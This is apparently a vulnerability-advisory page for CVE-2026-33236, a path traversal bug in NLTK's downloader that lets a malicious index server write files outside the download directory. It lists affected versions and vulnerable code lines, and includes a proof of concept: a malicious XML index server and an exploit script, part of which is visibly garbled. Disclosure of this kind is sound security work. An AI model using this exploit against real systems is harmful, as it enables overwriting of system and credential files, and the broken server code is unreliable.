Live › vulnerability › CVE-2026-33236
NLTK's downloader trusts the subdir and id attributes in remote XML index files without checking for path traversal sequences such as ../. A malicious index server can make it create directories and write files outside the download directory, including overwriting system files.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-11-04 03:16 UTC, 1h before NVD. All times on this page are UTC.
Applications and scripts that call NLTK's downloader to fetch data from an index server, especially one configured by someone else or reached over an untrusted network. Code that only uses NLTK data already on disk, or never calls the downloader, is not exposed through this path.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| nltk | pypi | < 3.9.4 | 3.9.4 |
| nltk | vendor | <= 3.9.3 | – |
pip show nltk; versions below 3.9.4 are affected.3.9.4Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:
/etc/passwd, ~/.ssh/authorized_keys, etc.)1. XML Parsing Without Validation (nltk/downloader.py:253)
self.filename = os.path.join(subdir, id + ext)
subdir and id are directly from XML attributes without any validation2. Path Construction Without Checks (nltk/downloader.py:679)
filepath = os.path.join(download_dir, info.filename)
filename which may contain path traversal3. Unrestricted Directory Creation (nltk/downloader.py:687)
os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)
4. File Writing Without Protection (nltk/downloader.py:695)
with open(filepath, "wb") as outfile:
1. Attacker controls remote XML index server
↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
↓
3. Victim executes: downloader.download('passwd')
↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
↓
6. os.makedirs() creates directory: download_dir + "../../etc"
↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
↓
8. System file is overwritten!
pip install nltk
Step 1: Start malicious server
python3 malicious_server.py
Step 2: Run exploit script
python3 exploit_vulnerability.py
Step 3: Verify results
ls -la /tmp/test_file.zip
#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler
# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")
# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
<packages>
<package id="test_file" subdir="../../../../../../../../../tmp"
url="http://127.0.0.1:8888/test.zip"
size="100" unzipped_size="100" unzip="0"/>
</packages>
</nltk_data>
"""
# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
f.write(malicious_xml)
with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
zf.writestr("test.txt", "Path traversal attack!")
# HTTP Handler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/malicious_index.xml':
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.end_headers()
(os.path.join(server_dir, ), ) f:
.wfile.write(f.read())
.path == :
.send_response()
.send_header(, )
.end_headers()
(os.path.join(server_dir, ), ) f:
.wfile.write(f.read())
:
.send_response()
.end_headers()
():
__name__ == :
port =
server = HTTPServer((, port), Handler)
()
()
:
server.serve_forever()
KeyboardInterrupt:
()
#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile
def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
print(f"Download directory: {download_dir}")
# Exploit vulnerability
from nltk.downloader import Downloader
downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
downloader.download("test_file", quiet=True)
# Check results
expected_path = "/tmp/test_file.zip"
if os.path.exists(expected_path):
print(f"\n✗ Exploit successful! File written to: {expected_path}")
print(f"✗ Path traversal attack successful!")
else:
print(f"\n? File not found, download may have failed")
if __name__ == "__main__":
exploit()
✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!
This page as .md · .json · in your agent: get_signal("CVE-2026-33236")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.